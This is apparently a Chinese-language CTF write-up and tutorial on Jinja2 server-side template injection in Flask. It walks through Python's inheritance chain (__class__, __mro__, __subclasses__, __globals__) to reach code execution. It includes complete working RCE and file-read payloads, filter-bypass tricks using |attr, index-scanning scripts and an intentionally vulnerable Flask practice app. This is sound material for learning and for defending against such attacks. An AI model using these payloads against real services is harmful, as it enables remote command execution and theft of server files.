CTF里有一类题目名字听起来像历史题实际考的是Python的继承链和特殊属性。前几天刷题碰到一道名为“百年继承”的题就是一个普通Flask页面输入昵称后服务端用render_template_string拼进模板再渲染。一眼看过去是SSTI测了一下{{7*7}}能回显49然后我卡住了。不是卡在不知道用__class__而是卡在为什么知道那么多特殊属性却始终拼不出一条能读文件的完整链子。后来把思路梳理清楚才发现这类题的破解点完全集中在一条“从任意对象回溯到object、再从object下潜到危险类”的继承链上。这篇文章就借着这道题把Python继承链和特殊属性的玩法从头到尾理一遍适合刚接触SSTI、沙箱逃逸或者刷题时总在__globals__这里卡壳的选手。1. 从“百年继承”说起继承链在CTF里到底是干啥的1.1 一道题让我卡了两小时先说那道题给我的直观感受。页面只有输入框和一句欢迎语URL参数是name。当我输入{{7*7}}页面直接回显49这说明参数被拼进了Jinja2模板存在SSTI也就是服务端模板注入。理论上只要能在模板里执行表达式下一步就该考虑远程命令执行或者读文件。可问题恰恰出在下一步我知道要利用__class__和__subclasses__()这些特殊属性但真正拼payload的时候要么索引对不上要么拿到的对象根本不是想要的东西折腾了很久才把一条完整链路走通。那道题源码逻辑并不复杂。简化以后大概是这个结构from flask import Flask, request, render_template_string class Hundred: pass class Year(Hundred): pass class Inherit(Year): pass app Flask(__name__) app.route(/) def index(): name request.args.get(name, world) obj Inherit() template f div{name}/div divgenerated by {obj.__class__.__name__}/div return render_template_string(template)这类结构在CTF里很常见一个继承了多层的自定义类配合一个SSTI注入点。你以为考点是某个类里藏了秘密其实考点是让你从obj这样一个普通对象出发沿着继承链反复跳转最终拿到系统能力。换句话说题目叫“百年继承”继承的既是代码逻辑也是你翻家谱的耐心。1.2 万物皆对象与血缘链直觉要理解继承链为什么能用于攻击必须接受一个事实Python里万物皆对象。整数是对象字符串是对象列表是对象类本身也是对象函数也是对象。既然是对象它就一定属于某个类既然属于某个类这个类就一定继承自某个父类一路向上回溯最终都会到达object。object是所有新式类的基类是整个继承体系的“祖爷爷”。这里最关键的一点是在SSTI这种沙箱场景里我们没有机会直接引用os、subprocess等模块但我们可以从任意一个对象出发拿到它的类型再通过类型拿到父类一直回溯到object然后借助object.__subclasses__()把当前进程里已经加载的所有类全部捞出来。这些类里总有那么几个类的方法内部会用到__import__、eval、system之类的能力而且它们的方法对象上有__globals__属性直接暴露了定义该方法时所在模块的全局命名空间。把这条链路类比成家族族谱非常直观。一个家族再庞大只要你能找到任意一个家族成员就能顺着他父亲、祖父一路查到祖爷爷祖爷爷的后代列表里有各种你想不到的亲戚。你不需要重新认识所有人只需要从手头这一个成员出发把整条线走一遍。这就是“继承链”的本质用法。2. 摸清家谱六个特殊属性逐个拆解2.1class、base、bases向上走的每一步先做一个小实验在本地Python交互环境里跑一下class A: pass class B(A): pass b B() print(b.__class__) print(b.__class__.__base__) print(b.__class__.__bases__)输出分别是class __main__.B class __main__.A (class __main__.A,)这里出现了三个非常基础的特殊属性__class__任何一个对象都有指向“这个实例是由哪个类创建的”。__base__类属性指向单一继承时的直接父类。__bases__类属性返回一个元组里面是所有直接父类。单继承时只有一个元素多继承时会有多个。在SSTI表达式里.__class__是最常用的第一步。比如字符串是一个对象.__class__就是str。如果题目过滤了__class__这个字符串后面我会讲怎么绕但原理上它是整条链的起点。要注意__base__和__bases__都是类的属性实例访问时也能拿到因为实例会沿着类查找。它们只返回直接父类不会一次返回祖父类。想继续往上走得重复操作。比如b.__class__.__base__.__base__就能从B走到A再走到object。这正是“链”这个名字的由来。2.2mro官方认证的继承链地图__class__能拿到所属类__base__能拿到直接父类。但如果有多重继承一步步.__base__就很累而且容易漏。Python为此提供了官方地图__mro__也就是Method Resolution Order方法解析顺序。class A: pass class B(A): pass print(B.__mro__)输出(class __main__.B, class __main__.A, class object)__mro__是一个元组里面的顺序就是Python在查找方法时实际访问类的顺序。因为它是元组所以支持索引。比如.__class__.__mro__[1]在Python 3里可以直接拿到object因为str的MRO是(str, object)索引1就是object。这也是很多老payload里.__class__.__mro__[2]失效的原因。在Python 2里str的MRO包含(str, basestring, object)索引2才是object到了Python 3str的MRO变成(str, object)索引1就是object。照抄老文章在Python 3环境里要么越界要么拿到完全不同的东西。更稳的写法我建议用空元组().__class__.__bases__[0]空元组的类型是tupletuple的直接父类只有一个就是object所以不管Python 2还是Python 3这一句都能稳定拿到object。在SSTI里写成{{().__class__.__bases__[0]}}或者{{().__class__.__base__}}结果同样可靠。2.3subclasses()从object下行到所有子类拿到object之后真正的宝藏是object.__subclasses__()。这个方法返回当前类所有直接子类。由于object是所有新式类的祖先这个列表几乎包含了当前Python进程里已经定义或加载的全部类。这句话需要澄清一下很多新手会误解成“返回所有后代类”。准确地说它只返回直接子类也就是父类直接是object的那些类。但这些类本身也有子类想拿更下层得对它们进一步调用.__subclasses__()。实战里通常不递归因为第一层直接子类已经足够丰富里面有大量来自标准库和Web框架的类足够找到攻击目标。在SSTI表达式里我们没法写完整for循环动态遍历这个列表只能靠索引直接取某个位置。问题是这个列表的顺序不稳定同一个Python版本、同样的代码只要导入模块的顺序不同列表顺序就会变。所以固定索引的payload换个环境就可能失效。正确做法是先在本地用脚本打印所有类的索引和名字找到目标类的下标再去远端尝试。2.4init.globals进入函数内部世界的关键一跳有了类列表距离命令执行还差最后一跳如何从类跳到系统调用。答案藏在类的方法对象上。Python里函数是一个对象函数对象有一个属性叫__globals__它返回一个字典里面保存的是定义这个函数时所在模块的全部全局变量。类的实例方法本质上是函数所以某类.__init__也是一个函数对象自然也有__globals__。以warnings.catch_warnings为例这个类在warnings模块里。它的__init__方法定义在warnings模块的全局作用域中因此warnings.catch_warnings.__init__.__globals__会返回warnings模块的全部全局命名空间里面自然包含sys、__builtins__等。再往下走一步.__class__.__mro__[1].__subclasses__()[idx].__init__.__globals__[__builtins__][__import__]就能动态导入任意模块。到这里从任意字符串出发到远程命令执行的完整链路就通了。我在练习时习惯把这条链路写成速查表随时翻看特殊属性作用典型表达式__class__取实例所属的类.__class____base__/__bases__取类的一个或多个直接父类().__class__.__base____mro__取类的完整继承顺序元组.__class__.__mro____subclasses__()取一个类的直接子类列表object.__subclasses__()__init__取类的初始化方法函数对象类.__init____globals__取函数定义处的全局命名空间字典类.__init__.__globals__这份速查表值得背下来因为它能覆盖八成以上SSTI和沙箱逃逸题目。3. 完整实操从SSTI注入点到拿到flag3.1 先做四步信息收集无论题目怎么包装我的套路都一样。第一步确认SSTI。随便找一个能回显的位置输入{{7*7}}如果页面返回49说明模板表达式被执行了。第二步确认Python版本。可以用{{().__class__.__base__}}和{{.__class__.__mro__}}观察返回的是class object、(class str, class object)还是Python 2风格的类型名。第三步确认有哪些特殊属性可用比如{{.__class__.__mro__[1].__subclasses__()}}能否正常返回列表。第四步确认题目有没有过滤规则比如把点号、方括号、__、class等关键字替换成空字符串。以“百年继承”这道题为例前三步通常畅通无阻重点就在于找到一条可用的链。先别急着上命令执行先用软柿子验证尝试读文件或者先弹一段无伤大雅的命令确认链路真的能走通再上真正的flag读取payload。3.2 本地生成类索引表远端环境我们没法直接跑循环但可以在本地用同样的Python小版本生成索引表。脚本很简单遍历object.__subclasses__()打印索引、模块名和类名筛选出几个常见的危险目标。我优先关注三个类warnings.catch_warnings、os._wrap_close、subprocess.Popen。import os, warnings, subprocess for idx, cls in enumerate(object.__subclasses__()): name cls.__name__ module getattr(cls, __module__, ) if name in [catch_warnings, _wrap_close, Popen]: print(idx, module, name)输出示例118 warnings catch_warnings 132 os _wrap_close 252 subprocess Popen注意这个数字只对“同样的Python版本、同样的导入状态”有效。远端Flask应用会比本地脚本多加载很多包所以直接拿本地数字去打远端大概率会偏差几个位置。我这里说的是让你先在本地确认目标类存在和结构再在远端用二分法或者多试几个邻近索引来定位。如果远端允许构造探测表达式也可以直接在模板里拿类名回显来定位但不如离线分析省心。3.3 两条标准命令执行路线路线A通过warnings.catch_warnings动态导入模块。{{.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__[__builtins__][__import__](os).popen(cat /flag).read()}}这条链路的意思空字符串 - str类 - object - 直接子类列表第118项catch_warnings - 它的__init__函数 - 该函数所在模块的全局命名空间 - 取出__builtins__ - 取出动态导入函数 - 导入os - 用popen执行命令并读取结果。每一步都可以单独验证推荐从后往前验证。先访问...[__builtins__]看它是否是dict或module再访问[__import__]是否是函数最后拼接完整命令。有一点要注意__builtins__在模块全局命名空间里通常是dict少数情况下是builtins模块如果拿到的是module就改成__builtins__.__dict__[__import__]。路线B通过os._wrap_close直接拿system。{{.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[system](cat /flag)}}这条比路线A短因为os._wrap_close定义在os模块里它的__init__.__globals__直接就是os模块的全局命名空间里面有现成的system函数。这个思路在Python 3.7以上很流行原因是_wrap_close经常稳定出现在object的子类列表中索引偏移也不会太大。还有一个更短的思路找subprocess.Popen然后直接实例化{{.__class__.__mro__[1].__subclasses__()[252](cat /flag, shellTrue, stdout-1).communicate()}}Popen是类而不是普通函数直接调用类本身就能创建子进程。它不需要__globals__遇到属性访问过滤时这条路经常能救命。3.4 如果flag藏在继承链的属性里怎么办有些题目把flag放在自定义类的类属性里比如“百年继承”背景下的Inherit类可能有secret flag{...}。这种情况下不需要RCE只需要顺着继承链找到那个类并读取属性。假设模板能拿到某个实例对象在Jinja2里可以直接试探{{obj.__class__.__mro__}} {{obj.__class__.__mro__[0].__dict__}} {{obj.__class__.__mro__[1].__dict__}}如果flag不在当前类就在父类一路看__mro__元组里每个类各自的__dict__或__base__。类属性存在于类的__dict__中直接访问即可。这类题反而更简单不需要把链走到系统层只需要做到“向上找类、横向翻字典”这两步。再多说一个细节访问__dict__会输出完整的属性字典包括方法名、类变量、模块信息信息量很大。如果页面输出被限制可以在本地构造相同的类结构复现继承链然后离线分析看哪一层。经验是出题人喜欢把关键属性放在离目标类最近的一两层别一上来就想着从object开始大海捞针。4. 继承链利用最容易翻车的五个细节链路跑通不等于稳定。我在实战里踩过的坑基本集中在下面这五个地方。4.1 索引固定地狱本地payload到靶机就失效最常遇到的问题就是本地明明第118位是catch_warnings打到靶机上怎么变成别的类了。原因在于__subclasses__()的列表顺序取决于进程加载模块的顺序Flask应用启动时会比本地脚本多加载海量模块索引当然会变。解法有两条路。第一尽力复现远端环境比如在同样的虚拟环境里起一个Flask应用再跑脚本打印子类列表这样得到的索引可信度更高。第二不要依赖单一索引把几个候选索引的payload都准备好逐个试。还有一个小技巧构造一个能返回“某个索引处的类名”的探测payload例如{{.__class__.__mro__[1].__subclasses__()[i].__name__}}用一个自动脚本遍历i的取值把远端返回结果和本地类名对比就能定位真实索引。这个方法慢但很稳。4.2 Python 2与Python 3的MRO索引差异前面已经提过这里再强调一次Python 2里str的MRO包含basestring所以老文章的mro[2]在Python 3里就失效Python 3直接用mro[1]就能拿到object。建议统一使用().__class__.__base__这样的写法一眼望去就不会被Python版本坑到。如果题目明确是Python 2环境反而要注意object前面可能还有其他中间类要灵活看__mro__的实际输出。4.3globals不是对所有对象都有效我见过不少人对着一个实例对象使劲敲obj.__globals__结果报错str object has no attribute __globals__。因为__globals__是函数对象的属性不是普通对象的属性。实例对象本身没有这个属性正确姿势是先拿到类再拿类的方法比如类名.__init__.__globals__。如果某个类没有重写__init__那就往父类找用.__base__或.__mro__[1]找到父类的__init__再取__globals__。4.4 属性名被过滤时用attr过滤器绕题目一旦把__class__、__globals__这些关键字替换成空字符串常规payload就废了一半。这时候Jinja2的attr过滤器是主要拐杖。它可以把属性名字符串动态传给对象不再依赖点号{{ |attr(__class__) }}等价于{{ .__class__ }}属性名也可以动态拼接{{ |attr(__cl ~ ass__) }}如果有request对象可用更优雅的做法是把整段超长payload写到GET参数里模板中只保留简短表达式。比如{{ |attr(request.args.a) }}URL传a__class__它等价于{{ .__class__ }}。更长的payload类似把每个属性名和方法名都放到参数里模板端用多个|attr组合。需要注意|attr只能取属性不能传参调用如果某个属性是函数通过|attr取到后还需要再补()来调用。4.5 能读文件就先读文件别急着打命令有些题目的过滤会拦截system、popen、os这些关键词但不会拦截open。如果目标是读flag优先找__builtins__[open]直接用读文件路线{{.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__[__builtins__][open](/flag).read()}}读文件payload通常比命令执行payload短命中的类也更少。命令执行被拦不代表read被拦。反过来说如果过滤拦截所有带括号的调用再考虑用attr过滤器和动态参数逐层拆。攻击路线的优先级应该是找类属性解密 - 读文件 - 回显命令执行 - 无回显外带。别一上来就上最猛的。5. 自己搭个“百年继承”练手靶场5.1 二十分钟搭一个本地SSTI靶子光看不练没用。我强烈建议自己起一个最小靶场把整条链亲手打通一遍。下面是完整可运行的Flask代码保存成app.pyfrom flask import Flask, request, render_template_string class Hundred: flag flag{local_heritage_demo} class Year(Hundred): pass class Inherit(Year): pass app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) obj Inherit() template f divhello {name}/div divobj: {obj.__class__.__mro__}/div return render_template_string(template) if __name__ __main__: app.run(debugTrue, port5000)启动后访问http://127.0.0.1:5000/?name{{7*7}}看到49就说明靶场正常。然后按第三章的方法一步步打先拿object再翻子类列表再定位catch_warnings或os._wrap_close最后读flag或执行命令。自己搭靶场的好处是可以随便改过滤条件。你可以加一个中间件把所有__替换成空字符串再试|attr方案可以把system拉黑再试读文件方案。一个题目吃透以后遇到变种就不慌了。5.2 一份可以直接抄的本地探测脚本每次搭新环境都要手动敲一遍索引扫描太累了。下面这个脚本我平时直接丢在项目目录里跑一下就能列出目标类的索引import warnings, subprocess for idx, cls in enumerate(object.__subclasses__()): module getattr(cls, __module__, ) if module.startswith(warnings) or module.startswith(os) or module.startswith(subprocess): if idx 500: print(idx, module, cls.__name__)跑完以后把输出的索引填进payload里即可。注意脚本启动时先import了warnings、subprocess这会改变sys.modules里模块的加载顺序进而影响object.__subclasses__()。所以要尽可能模拟目标应用的import顺序。最简单的办法是在本地也搭一个Flask应用在应用内部执行这段扫描而不是单独跑一个裸Python脚本。5.3 一份万能的“继承链速查笔记”最后分享一份我自己整理的笔记每次比赛前都会扫一眼。核心链是任意对象 - __class__ - 所属类 - __mro__ 或 __base__ - object - __subclasses__() - 目标类 - __init__ - __globals__ - __builtins__ 或 os.system记忆口诀是“类、父、大、子、初、局”取类、取父类、取最大祖先、取子类列表、取初始化方法、取全局命名空间。看到SSTI题先默念一遍口诀再决定从哪一步开始构造。备选链还有两条。第一条是绕过属性过滤时用|attr(__class__)第二条是当__globals__拿不到时尝试直接实例化subprocess.Popen。多准备几条备选链比赛时就不至于一条路走到黑。我个人刷下来最大的体会是继承链本身不难难的是在千变万化的过滤环境下灵活选择入口和绕法。每次赛后复盘把新遇到的过滤规则和对应解法补进自己的速查笔记下一次遇到类似的题打开笔记五分钟内就能出payload。这种积累比临时背几十条固定payload有用得多。